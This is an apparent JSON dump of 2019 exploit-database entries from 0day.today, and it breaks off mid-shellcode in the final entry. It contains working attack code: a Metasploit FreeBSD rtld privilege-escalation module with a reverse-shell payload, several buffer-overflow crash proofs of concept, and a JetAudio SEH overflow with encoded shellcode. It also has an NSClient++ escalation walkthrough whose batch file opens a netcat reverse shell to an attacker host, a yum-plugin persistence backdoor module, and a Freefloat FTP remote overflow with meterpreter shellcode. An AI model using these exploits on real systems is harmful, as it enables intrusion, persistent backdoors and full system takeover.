{"zdt": [{"lastseen": "2019-05-22T13:56:13", "bulletinFamily": "exploit", "description": "This Metasploit module exploits a vulnerability in the FreeBSD run-time link-editor (rtld). The rtld unsetenv() function fails to remove LD_* environment variables if __findenv() fails. This can be abused to load arbitrary shared objects using LD_PRELOAD, resulting in privileged code execution.", "modified": "2019-05-22T00:00:00", "published": "2019-05-22T00:00:00", "id": "1337DAY-ID-32767", "href": "https://0day.today/exploit/description/32767", "title": "FreeBSD rtld execl() Privilege Escalation Exploit", "type": "zdt", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Post::File\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'FreeBSD rtld execl() Privilege Escalation',\r\n 'Description' => %q{\r\n This module exploits a vulnerability in the FreeBSD\r\n run-time link-editor (rtld).\r\n\r\n The rtld `unsetenv()` function fails to remove `LD_*`\r\n environment variables if `__findenv()` fails.\r\n\r\n This can be abused to load arbitrary shared objects using\r\n `LD_PRELOAD`, resulting in privileged code execution.\r\n\r\n This module has been tested successfully on:\r\n\r\n FreeBSD 7.2-RELEASE (amd64); and\r\n FreeBSD 8.0-RELEASE (amd64).\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Kingcope', # Independent discovery, public disclosure, and exploit\r\n 'stealth', # Discovery and exploit (4b1717926ed0d4823622011625fb1824)\r\n 'bcoles' # Metasploit (using Kingcope's exploit code [modified])\r\n ],\r\n 'DisclosureDate' => '2009-11-30',\r\n 'Platform' => ['bsd'], # FreeBSD\r\n 'Arch' =>\r\n [\r\n ARCH_X86,\r\n ARCH_X64,\r\n ARCH_ARMLE,\r\n ARCH_AARCH64,\r\n ARCH_PPC,\r\n ARCH_MIPSLE,\r\n ARCH_MIPSBE\r\n ],\r\n 'SessionTypes' => ['shell'],\r\n 'References' =>\r\n [\r\n ['BID', '37154'],\r\n ['CVE', '2009-4146'],\r\n ['CVE', '2009-4147'],\r\n ['SOUNDTRACK', 'https://www.youtube.com/watch?v=dDnhthI27Fg'],\r\n ['URL', 'https://seclists.org/fulldisclosure/2009/Nov/371'],\r\n ['URL', 'https://c-skills.blogspot.com/2009/11/always-check-return-value.html'],\r\n ['URL', 'https://lists.freebsd.org/pipermail/freebsd-announce/2009-December/001286.html'],\r\n ['URL', 'https://xorl.wordpress.com/2009/12/01/freebsd-ld_preload-security-bypass/'],\r\n ['URL', 'https://securitytracker.com/id/1023250']\r\n ],\r\n 'Targets' => [['Automatic', {}]],\r\n 'DefaultOptions' =>\r\n {\r\n 'PAYLOAD' => 'bsd/x86/shell_reverse_tcp',\r\n 'PrependSetresuid' => true,\r\n 'PrependSetresgid' => true,\r\n 'PrependFork' => true,\r\n 'WfsDelay' => 10\r\n },\r\n 'DefaultTarget' => 0))\r\n register_options [\r\n OptString.new('SUID_EXECUTABLE', [ true, 'Path to a SUID executable', '/sbin/ping' ])\r\n ]\r\n register_advanced_options [\r\n OptBool.new('ForceExploit', [false, 'Override check result', false]),\r\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])\r\n ]\r\n end\r\n\r\n def base_dir\r\n datastore['WritableDir'].to_s\r\n end\r\n\r\n def suid_exe_path\r\n datastore['SUID_EXECUTABLE']\r\n end\r\n\r\n def upload(path, data)\r\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\r\n rm_f path\r\n write_file path, data\r\n register_file_for_cleanup path\r\n end\r\n\r\n def is_root?\r\n (cmd_exec('id -u').to_s.gsub(/[^\\d]/, '') == '0')\r\n end\r\n\r\n def check\r\n kernel_release = cmd_exec('uname -r').to_s\r\n unless kernel_release =~ /^(7\\.[012]|8\\.0)/\r\n vprint_error \"FreeBSD version #{kernel_release} is not vulnerable\"\r\n return CheckCode::Safe\r\n end\r\n vprint_good \"FreeBSD version #{kernel_release} appears vulnerable\"\r\n\r\n unless command_exists? 'gcc'\r\n vprint_error 'gcc is not installed'\r\n return CheckCode::Safe\r\n end\r\n print_good 'gcc is installed'\r\n\r\n unless setuid? suid_exe_path\r\n vprint_error \"#{suid_exe_path} is not setuid\"\r\n return CheckCode::Detected\r\n end\r\n vprint_good \"#{suid_exe_path} is setuid\"\r\n\r\n CheckCode::Appears\r\n end\r\n\r\n def exploit\r\n unless check == CheckCode::Appears\r\n unless datastore['ForceExploit']\r\n fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'\r\n end\r\n print_warning 'Target does not appear to be vulnerable'\r\n end\r\n\r\n if is_root?\r\n unless datastore['ForceExploit']\r\n fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'\r\n end\r\n end\r\n\r\n unless writable? base_dir\r\n fail_with Failure::BadConfig, \"#{base_dir} is not writable\"\r\n end\r\n\r\n if base_dir.length > 1_000\r\n fail_with Failure::BadConfig, \"#{base_dir} path length #{base_dir.length} is larger than 1,000\"\r\n end\r\n\r\n payload_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n\r\n executable_data = <<-EOF\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n\r\nvoid _init() {\r\n extern char **environ;\r\n environ=NULL;\r\n system(\"#{payload_path} &\");\r\n}\r\nEOF\r\n\r\n executable_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n upload \"#{executable_path}.c\", executable_data\r\n output = cmd_exec \"gcc -o #{executable_path}.o -c #{executable_path}.c -fPIC -Wall\"\r\n register_file_for_cleanup \"#{executable_path}.o\"\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{executable_path}.c failed to compile\"\r\n end\r\n\r\n lib_name = \".#{rand_text_alphanumeric 5..10}\"\r\n lib_path = \"#{base_dir}/#{lib_name}\"\r\n output = cmd_exec \"gcc -shared -Wall,-soname,#{lib_name}.0 #{executable_path}.o -o #{lib_path}.0 -nostartfiles\"\r\n register_file_for_cleanup \"#{lib_path}.0\"\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{executable_path}.o failed to compile\"\r\n end\r\n\r\n exploit_data = <<-EOF\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n\r\nint main() {\r\n extern char **environ;\r\n environ = (char**)calloc(8096, sizeof(char));\r\n\r\n environ[0] = (char*)calloc(1024, sizeof(char));\r\n environ[1] = (char*)calloc(1024, sizeof(char));\r\n strcpy(environ[1], \"LD_PRELOAD=#{lib_path}.0\");\r\n\r\n return execl(\"#{suid_exe_path}\", \"\", (char *)0);\r\n}\r\nEOF\r\n\r\n exploit_path = \"#{base_dir}/.#{rand_text_alphanumeric 5..10}\"\r\n upload \"#{exploit_path}.c\", exploit_data\r\n output = cmd_exec \"gcc #{exploit_path}.c -o #{exploit_path} -Wall\"\r\n register_file_for_cleanup exploit_path\r\n\r\n unless output.blank?\r\n print_error output\r\n fail_with Failure::Unknown, \"#{exploit_path}.c failed to compile\"\r\n end\r\n\r\n upload payload_path, generate_payload_exe\r\n chmod payload_path\r\n\r\n print_status 'Launching exploit...'\r\n output = cmd_exec exploit_path\r\n output.each_line { |line| vprint_status line.chomp }\r\n end\r\nend\n\n# 0day.today [2019-05-22] #", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://0day.today/exploit/32767"}, {"lastseen": "2019-05-22T13:55:17", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-21T00:00:00", "published": "2019-05-21T00:00:00", "id": "1337DAY-ID-32754", "href": "https://0day.today/exploit/description/32754", "title": "Deluge 1.3.15 - (Webseeds) Denial of Service Exploit", "type": "zdt", "sourceData": "#Exploit Title: Deluge 1.3.15 - 'Webseeds' Denial of Service (PoC)\r\n#Discovery by: Victor Mondrag\u00f3n\r\n#Vendor Homepage: https://dev.deluge-torrent.org/\r\n#Software Link: http://download.deluge-torrent.org/windows/deluge-1.3.15-win32-py2.7.exe\r\n#Tested Version: 1.3.15\r\n#Tested on: Windows 7 Service Pack 1 x64\r\n\r\n#Steps to produce the crash:\r\n#1.- Run python code: deluge_web.py\r\n#2.- Open deluge_web.txt and copy content to clipboard\r\n#3.- Open deluge.exe\r\n#4.- Select \"File\" > \"Create Torrent\" \r\n#5.- In \"Webseeds\" field paste Clipboard\r\n#6.- Crashed\r\n\r\ncod = \"\\x41\" * 5000\r\n\r\nf = open('deluge_web.txt', 'w')\r\nf.write(cod)\r\nf.close()\n\n# 0day.today [2019-05-22] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32754"}, {"lastseen": "2019-05-21T01:54:02", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-17T00:00:00", "published": "2019-05-17T00:00:00", "id": "1337DAY-ID-32728", "href": "https://0day.today/exploit/description/32728", "title": "CEWE Photoshow 6.4.3 - (Password) Denial of Service Exploit", "type": "zdt", "sourceData": "# -*- coding: utf-8 -*-\r\n# Exploit Title: CEWE PHOTO SHOW 6.4.3 - Denial of Service (PoC)\r\n# Author: Alejandra S\u00e1nchez\r\n# Vendor Homepage: https://cewe-photoworld.com/\r\n# Software: https://cewe-photoworld.com/creator-software/windows-download\r\n# Version: 6.4.3\r\n# Tested on: Windows 10\r\n\r\n# Proof of Concept:\r\n# 1.- Run the python script 'photoshow.py', it will create a new file 'photoshow.txt'\r\n# 2.- Copy the text from the generated photoshow.txt file to clipboard\r\n# 3.- Open CEWE PHOTO SHOW\r\n# 4.- Click 'Upload'\r\n# 5.- Paste clipboard in the field 'Password' and crashed\r\n\r\nbuffer = \"\\x41\" * 5000\r\n\r\nf = open (\"photoshow.txt\", \"w\")\r\nf.write(buffer)\r\nf.close()\n\n# 0day.today [2019-05-21] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32728"}, {"lastseen": "2019-05-21T01:54:19", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-17T00:00:00", "published": "2019-05-17T00:00:00", "id": "1337DAY-ID-32726", "href": "https://0day.today/exploit/description/32726", "title": "Sandboxie 5.30 - (Programs Alerts) Denial of Service Exploit", "type": "zdt", "sourceData": "# -*- coding: utf-8 -*-\r\n# Exploit Title: Sandboxie 5.30 - Denial of Service (PoC)\r\n# Author: Alejandra S\u00e1nchez\r\n# Vendor Homepage: https://www.sandboxie.com\r\n# Software https://www.sandboxie.com/SandboxieInstall.exe\r\n# Version: 5.30\r\n# Tested on: Windows 10\r\n\r\n# Proof of Concept:\r\n# 1.- Run the python script 'Sandboxie.py', it will create a new file 'Sandboxie.txt'\r\n# 2.- Copy the text from the generated Sandboxie.txt file to clipboard\r\n# 3.- Open Sandboxie Control\r\n# 4.- Go to 'Configure' > 'Programs Alerts'\r\n# 5.- Click 'Add Program', paste clipboard in the field 'Select or enter a program' and click 'OK'\r\n# 6.- Click 'OK' and crashed\r\n\r\nbuffer = \"\\x41\" * 5000\r\n\r\nf = open (\"Sandboxie.txt\", \"w\")\r\nf.write(buffer)\r\nf.close()\n\n# 0day.today [2019-05-21] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32726"}, {"lastseen": "2019-05-21T01:53:26", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category local exploits", "modified": "2019-05-16T00:00:00", "published": "2019-05-16T00:00:00", "id": "1337DAY-ID-32721", "href": "https://0day.today/exploit/description/32721", "title": "JetAudio jetCast Server 2.0 - (Log Directory) Local SEH Alphanumeric Encoded Buffer Overflow Exploit", "type": "zdt", "sourceData": "# Title: JetAudio jetCast Server 2.0 'Log Directory' Local SEH Alphanumeric Encoded Buffer Overflow\r\n# Author: Connor McGarr (https://connormcgarr.github.io)\r\n# Vendor Homepage: http://www.jetaudio.com/\r\n# Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe\r\n# Version v2.0\r\n# Tested on: Windows XP SP3 EN\r\n\r\n# TO RUN:\r\n# 1. Run python script\r\n# 2. Copy contents of pwn.txt\r\n# 3. Open jetCast\r\n# 4. Select Config\r\n# 5. Paste contents of pwn.txt into \"Log directory\" field\r\n# 6. Click \"OK\"\r\n# 7. Click \"Start\"\r\n\r\n# For zeroing out registers before manual shellcode\r\nzero = \"\\x25\\x01\\x01\\x01\\x01\" \t# and eax, 0x01010101\r\nzero += \"\\x25\\x10\\x10\\x10\\x10\" \t# and eax, 0x10101010\r\n\r\n# Save old stack pointer\r\nrestore = \"\\x54\" # push esp\r\nrestore += \"\\x59\" # pop ecx\r\nrestore += \"\\x51\" # push ecx\r\n\r\n# Align the stack to 0012FFAD. Leaving enough room for shell. Using calc.exe for now.\r\n# 4C4F5555 4C4F5555 4D505555\r\nalignment = \"\\x54\"\t\t\t\t# push esp\r\nalignment += \"\\x58\"\t\t\t\t# pop eax\r\nalignment += \"\\x2d\\x4c\\x4f\\x55\\x55\"\t\t# and eax, 0x4C4F5555\r\nalignment += \"\\x2d\\x4c\\x4f\\x55\\x55\"\t\t# and eax, 0x4C4F5555\r\nalignment += \"\\x2d\\x4d\\x50\\x55\\x55\"\t\t# and eax, 0x4D505555\r\nalignment += \"\\x50\"\t\t\t\t# push eax\r\nalignment += \"\\x5c\"\t\t\t\t# pop esp\r\n\r\n# calc.exe - once again, giving you enough room with alignment for shell. Calc.exe for now.\r\n# 2C552D14 01552D14 01562E16\r\nshellcode = zero\r\nshellcode += \"\\x2d\\x14\\x2d\\x55\\x2c\" \t\t# sub eax, 0x2C552D14\r\nshellcode += \"\\x2d\\x14\\x2d\\x55\\x01\" \t\t# sub eax, 0x01562D14\r\nshellcode += \"\\x2d\\x16\\x2e\\x56\\x01\" \t\t# sub eax, 0x01562E16\r\nshellcode += \"\\x50\" \t\t\t\t# push eax\r\n\r\n# 24121729 24121739 2414194A\r\nshellcode += zero\r\nshellcode += \"\\x2d\\x29\\x17\\x12\\x24\" \t\t# sub eax, 0x24121729\r\nshellcode += \"\\x2d\\x39\\x17\\x12\\x24\" \t# sub eax, 0x24121739\r\nshellcode += \"\\x2d\\x4a\\x19\\x14\\x24\" \t# sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A)\r\nshellcode += \"\\x50\" \t\t\t\t# push eax\r\n\r\n# 34313635 34313434 34313434\r\nshellcode += zero\r\nshellcode += \"\\x2d\\x35\\x36\\x31\\x34\" \t\t# sub eax, 0x34313635\r\nshellcode += \"\\x2d\\x34\\x34\\x31\\x34\" \t\t# sub eax, 0x34313434\r\nshellcode += \"\\x2d\\x34\\x34\\x31\\x34\" \t\t# sub eax, 0x34313434\r\nshellcode += \"\\x50\" \t\t\t\t# push eax\r\n\r\n# 323A1245 323A1245 333A1245\r\nshellcode += zero\r\nshellcode += \"\\x2d\\x45\\x12\\x3a\\x32\" \t\t# sub eax, 0x323A1245\r\nshellcode += \"\\x2d\\x45\\x12\\x3a\\x32\" \t\t# sub eax, 0x323A1245\r\nshellcode += \"\\x2d\\x45\\x12\\x3a\\x33\" \t\t# sub eax, 0x333A1245\r\nshellcode += \"\\x50\"\t\t\t\t# push eax\r\n\r\n# Restore old stack pointer. MOV ECX,ESP\r\nmove = zero\r\nmove += \"\\x2d\\x40\\x3f\\x27\\x11\" \t\t\t# sub eax, 0x403F2711\r\nmove += \"\\x2d\\x3f\\x3f\\x27\\x11\" \t\t\t# sub eax, 0x3F3F2711\r\nmove += \"\\x2d\\x3f\\x3f\\x28\\x11\" \t\t\t# sub eax, 0x3F3F2811\r\nmove += \"\\x50\" \t\t\t\t\t# push eax\r\n\r\n\r\npayload = \"\\x41\" * 520\r\npayload += \"\\x70\\x06\\x71\\x06\"\t\t\t# JO 6 bytes. If jump fails, default to JNO 6 bytes into shellcode.\r\npayload += \"\\x2d\\x10\\x40\\x5f\"\t\t\t# pop pop ret MFC42.DLL\r\npayload += \"\\x41\" * 2\t\t\t\t# Padding to reach first instruction\r\npayload += restore\r\npayload += alignment\r\npayload += shellcode\r\npayload += move\r\n# Using ECX for holding old ESP. \\x41 = INC ECX\r\n# so using \\x42 = INC EDX instead.\r\npayload += \"\\x42\" * (5000-len(payload))\r\n\r\nf = open('pwn.txt', 'w')\r\nf.write(payload)\r\nf.close()\n\n# 0day.today [2019-05-21] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32721"}, {"lastseen": "2019-05-10T11:58:22", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-10T00:00:00", "published": "2019-05-10T00:00:00", "id": "1337DAY-ID-32678", "href": "https://0day.today/exploit/description/32678", "title": "jetCast Server 2.0 - Denial of Service Exploit", "type": "zdt", "sourceData": "#Exploit Title: jetCast Server 2.0 - Denial of Service (PoC)\r\n#Discovery by: Victor Mondrag\u00f3n\r\n#Vendor Homepage: http://www.jetaudio.com/\r\n#Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe\r\n#Tested Version: 2.0\r\n#Tested on: Windows 7 Service Pack 1 x64 \r\n\r\n#Steps to produce the crash:\r\n#1.- Run python code: jetCast_Server_2.0.py\r\n#2.- Open jetCast.txt and copy content to clipboard\r\n#2.- Open jetCast Server \r\n#3.- Select Config \r\n#4.- In \"Log directory\" Paste ClipBoard \r\n#5.- Click on \"Ok\"\r\n#6.- Click on \"Start\"\r\n#7.- Crashed\r\n\r\ncod = \"\\x41\" * 5000\r\nf = open('jetCast.txt', 'w')\r\nf.write(cod)\r\nf.close()\n\n# 0day.today [2019-05-10] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32678"}, {"lastseen": "2019-05-10T11:58:27", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category dos / poc", "modified": "2019-05-10T00:00:00", "published": "2019-05-10T00:00:00", "id": "1337DAY-ID-32675", "href": "https://0day.today/exploit/description/32675", "title": "Lyric Video Creator 2.1 - (.mp3) Denial of Service Exploit", "type": "zdt", "sourceData": "# -*- coding: utf-8 -*-\r\n# Exploit Title: Lyric Video Creator 2.1 - '.mp3' Denial of Service (PoC)\r\n# Author: Alejandra S\u00e1nchez\r\n# Vendor Homepage: https://lyricvideocreator.com/\r\n# Software Link: https://lyricvideocreator.com/dwl/LyricVideoCreator.exe\r\n# Version: 2.1\r\n# Tested on: Windows 10\r\n\r\n# Proof of Concept:\r\n# 1.- Run the python script \"LyricVideo.py\", it will create a new file \"sample.mp3\"\r\n# 2.- Open LyricVideoCreator.exe\r\n# 4.- Click on the 'Browse song' button, select the 'sample.mp3' file created and click on the 'Open' button\r\n# 5.- Crashed\r\n\r\nbuffer = \"\\x41\" * 5000\r\nf = open (\"sample.mp3\", \"w\")\r\nf.write(buffer)\r\nf.close()\n\n# 0day.today [2019-05-10] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32675"}, {"lastseen": "2019-05-07T05:58:40", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category local exploits", "modified": "2019-05-06T00:00:00", "published": "2019-05-06T00:00:00", "id": "1337DAY-ID-32660", "href": "https://0day.today/exploit/description/32660", "title": "NSClient++ 0.5.2.35 - Privilege Escalation Vulnerability", "type": "zdt", "sourceData": "Exploit Author: bzyo\r\nTwitter: @bzyo_\r\nExploit Title: NSClient++ 0.5.2.35 - Privilege Escalation\r\nVulnerable Software: NSClient++ 0.5.2.35\r\nVendor Homepage: http://nsclient.org/\r\nVersion: 0.5.2.35\r\nSoftware Link: http://nsclient.org/download/\r\nTested on: Windows 10 x64\r\n\r\nDetails:\r\nWhen NSClient++ is installed with Web Server enabled, local low privilege users have the ability to read the web administator's password in cleartext from the configuration file. From here a user is able to login to the web server and make changes to the configuration file that is normally restricted. \r\n\r\nThe user is able to enable the modules to check external scripts and schedule those scripts to run. There doesn't seem to be restrictions on where the scripts are called from, so the user can create the script anywhere. Since the NSClient++ Service runs as Local System, these scheduled scripts run as that user and the low privilege user can gain privilege escalation. A reboot, as far as I can tell, is required to reload and read the changes to the web config. \r\n\r\nPrerequisites:\r\nTo successfully exploit this vulnerability, an attacker must already have local access to a system running NSClient++ with Web Server enabled using a low privileged user account with the ability to reboot the system.\r\n\r\nExploit:\r\n1. Grab web administrator password\r\n- open c:\\program files\\nsclient++\\nsclient.ini\r\nor\r\n- run the following that is instructed when you select forget password\r\n\tC:\\Program Files\\NSClient++>nscp web -- password --display\r\n\tCurrent password: SoSecret\r\n\r\n2. Login and enable following modules including enable at startup and save configuration\r\n- CheckExternalScripts\r\n- Scheduler\r\n\r\n3. Download nc.exe and evil.bat to c:\\temp from attacking machine\r\n\t@echo off\r\n\tc:\\temp\\nc.exe 192.168.0.163 443 -e cmd.exe\r\n\r\n4. Setup listener on attacking machine\r\n\tnc -nlvvp 443\r\n\r\n5. Add script foobar to call evil.bat and save settings\r\n- Settings > External Scripts > Scripts\r\n- Add New\r\n\t- foobar\r\n\t\tcommand = c:\\temp\\evil.bat\r\n\r\n6. Add schedulede to call script every 1 minute and save settings\r\n- Settings > Scheduler > Schedules\r\n- Add new\r\n\t- foobar\r\n\t\tinterval = 1m\r\n\t\tcommand = foobar\r\n\r\n7. Restart the computer and wait for the reverse shell on attacking machine\r\n\tnc -nlvvp 443\r\n\tlistening on [any] 443 ...\r\n\tconnect to [192.168.0.163] from (UNKNOWN) [192.168.0.117] 49671\r\n\tMicrosoft Windows [Version 10.0.17134.753]\r\n\t(c) 2018 Microsoft Corporation. All rights reserved.\r\n\r\n\tC:\\Program Files\\NSClient++>whoami\r\n\twhoami\r\n\tnt authority\\system\r\n\t\r\nRisk:\r\nThe vulnerability allows local attackers to escalate privileges and execute arbitrary code as Local System\n\n# 0day.today [2019-05-07] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32660"}, {"lastseen": "2019-05-01T23:55:37", "bulletinFamily": "exploit", "description": "This Metasploit module will run a payload when the package manager is used. No handler is run automatically so you must configure an appropriate exploit/multi/handler to connect. Module modifies a yum plugin to launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system.", "modified": "2019-05-01T00:00:00", "published": "2019-05-01T00:00:00", "id": "1337DAY-ID-32627", "href": "https://0day.today/exploit/description/32627", "title": "Yum Package Manager Persistence Exploit", "type": "zdt", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nclass MetasploitModule < Msf::Exploit::Local\r\n Rank = ExcellentRanking\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::FileDropper\r\n include Msf::Post::File\r\n include Msf::Post::Linux::System\r\n\r\n def initialize(info = {})\r\n super(update_info(info,\r\n 'Name' => 'Yum Package Manager Persistence',\r\n 'Description' => %q(\r\n This module will run a payload when the package manager is used. No\r\n handler is ran automatically so you must configure an appropriate\r\n exploit/multi/handler to connect. Module modifies a yum plugin to\r\n launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/\r\n will show what plugins are currently enabled on the system.\r\n ),\r\n 'License' => MSF_LICENSE,\r\n 'Author' => ['Aaron Ringo'],\r\n 'Platform' => ['linux', 'unix'],\r\n 'Arch' =>\r\n [\r\n ARCH_CMD,\r\n ARCH_X86,\r\n ARCH_X64,\r\n ARCH_ARMLE,\r\n ARCH_AARCH64,\r\n ARCH_PPC,\r\n ARCH_MIPSLE,\r\n ARCH_MIPSBE\r\n ],\r\n 'SessionTypes' => ['shell', 'meterpreter'],\r\n 'DefaultOptions' => {\r\n 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true',\r\n 'Payload' => 'cmd/unix/reverse_python'\r\n },\r\n 'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum\r\n 'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'],\r\n 'Targets' => [['Automatic', {}]],\r\n 'DefaultTarget' => 0\r\n ))\r\n\r\n register_options(\r\n [\r\n # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos\r\n OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']),\r\n OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write'])\r\n ])\r\n\r\n register_advanced_options(\r\n [\r\n OptString.new('WritableDir', [true, 'A directory where we can write files', '/usr/local/bin/']),\r\n OptString.new('PluginPath', [true, 'Plugin Path to use', '/usr/lib/yum-plugins/'])\r\n ])\r\n end\r\n\r\n def exploit\r\n # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable\r\n plugin = datastore['PLUGIN']\r\n full_plugin_path = \"#{datastore['PluginPath']}#{plugin}.py\"\r\n print_status(full_plugin_path)\r\n unless writable? full_plugin_path\r\n fail_with Failure::BadConfig, \"#{full_plugin_path} not writable, does not exist, or yum is not on system\"\r\n end\r\n\r\n # /etc/yum.conf must contain plugins=1 for plugins to run at all\r\n plugins_enabled = cmd_exec \"grep -F 'plugins=1' /etc/yum.conf\"\r\n unless plugins_enabled.include? 'plugins=1'\r\n fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf'\r\n end\r\n print_good('Plugins are enabled!')\r\n\r\n # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1\r\n plugin_conf = \"/etc/yum/pluginconf.d/#{plugin}.conf\"\r\n plugin_enabled = cmd_exec \"grep -F 'enabled=1' #{plugin_conf}\"\r\n unless plugin_enabled.include? 'enabled=1'\r\n print_bad(\"#{plugin_conf} plugin is not configured to run\")\r\n fail_with Failure::NotVulnerable, \"try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*\"\r\n end\r\n\r\n # plugins are made in python and generate pycs on successful execution\r\n unless exist? \"#{full_plugin_path}c\"\r\n print_warning('Either Yum has never been executed, or the selected plugin has not run')\r\n end\r\n\r\n # check for write in backdoor path and set/generate backdoor name\r\n backdoor_path = datastore['WritableDir']\r\n unless writable? backdoor_path\r\n fail_with Failure::BadConfig, \"#{backdoor_path} is not writable\"\r\n end\r\n backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)\r\n backdoor_path << backdoor_name\r\n\r\n # check that the plugin contains an import os, to backdoor\r\n import_os_check = cmd_exec \"grep -F 'import os' #{full_plugin_path}\"\r\n unless import_os_check.include? 'import os'\r\n fail_with Failure::NotVulnerable, \"#{full_plugin_path} does not import os, which is odd\"\r\n end\r\n\r\n # check for sed binary and then append launcher to plugin underneath\r\n print_status('Attempting to modify plugin')\r\n launcher = \"os.system('setsid #{backdoor_path} 2>/dev/null \\\\& ')\"\r\n sed_path = cmd_exec \"command -v sed\"\r\n unless sed_path.include?('sed')\r\n fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found'\r\n end\r\n sed_line = \"#{sed_path} -ie \\\"/import os/ a #{launcher}\\\" #{full_plugin_path}\"\r\n cmd_exec sed_line\r\n\r\n # actually write users payload to be executed then check for write\r\n if payload.arch.first == 'cmd'\r\n write_file(backdoor_path, payload.encoded)\r\n else\r\n write_file(backdoor_path, generate_payload_exe)\r\n end\r\n unless exist? backdoor_path\r\n fail_with Failure::Unknown, \"Failed to write #{backdoor_path}\"\r\n end\r\n\r\n # change perms to reflect bins in /usr/local/bin/, give good feels\r\n chmod(backdoor_path, 0755)\r\n print_status(\"Backdoor uploaded to #{backdoor_path}\")\r\n print_status('Backdoor will run on next Yum update')\r\n end\r\nend\n\n# 0day.today [2019-05-01] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/32627"}, {"lastseen": "2019-05-02T03:54:40", "bulletinFamily": "exploit", "description": "Exploit for windows platform in category remote exploits", "modified": "2019-05-01T00:00:00", "published": "2019-05-01T00:00:00", "id": "1337DAY-ID-32641", "href": "https://0day.today/exploit/description/32641", "title": "Freefloat FTP Server 1.0 - SIZE Remote Buffer Overflow Exploit", "type": "zdt", "sourceData": "# Exploit Title: Free Float FTP 1.0 \"SIZE\" Remote Buffer Overflow\r\n# Exploit Author: Kevin Randall\r\n# Vendor Homepage:\r\n# Software Link: http://www.freefloat.com/software/freefloatftpserver.zip\r\n# Version: Firmware: Free Float FTP 1.0\r\n# Tested on: Windows XP Professional Service Pack 2\r\n# CVE : N/A\r\n\r\n#Generate Shellcode with MSFVenom\r\n#msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP.OF.LOCAL.MACHINE LPORT=4444 -b '\\x00\\x0A\\x0D' -f python\r\n#Setup listener \"use exploit/multi/handler\" \"set payload windows/meterpreter/reverse_tcp\" \"set LHOST IP.OF.LOCAL.MACHINE\" \"set LPORT 4444\" \"exploit\"\r\n\r\n#!/usr/bin/python\r\n\r\nimport socket\r\nimport sys\r\n\r\nbuf = \"\"\r\nbuf += \"\\xba\\x99\\x2c\\xb1\\x7d\\xdb\\xd1\\xd9\\x74\\x24\\xf4\\x5d\\x2b\"\r\nbuf += \"\\xc9\\xb1\\x56\\x31\\x55\\x13\\x83\\xed\\xfc\\x03\\x55\\x96\\xce\"\r\nbuf += \"\\x44\\x81\\x40\\x8c\\xa7\\x7a\\x90\\xf1\\x2e\\x9f\\xa1\\x31\\x54\"\r\nbuf += 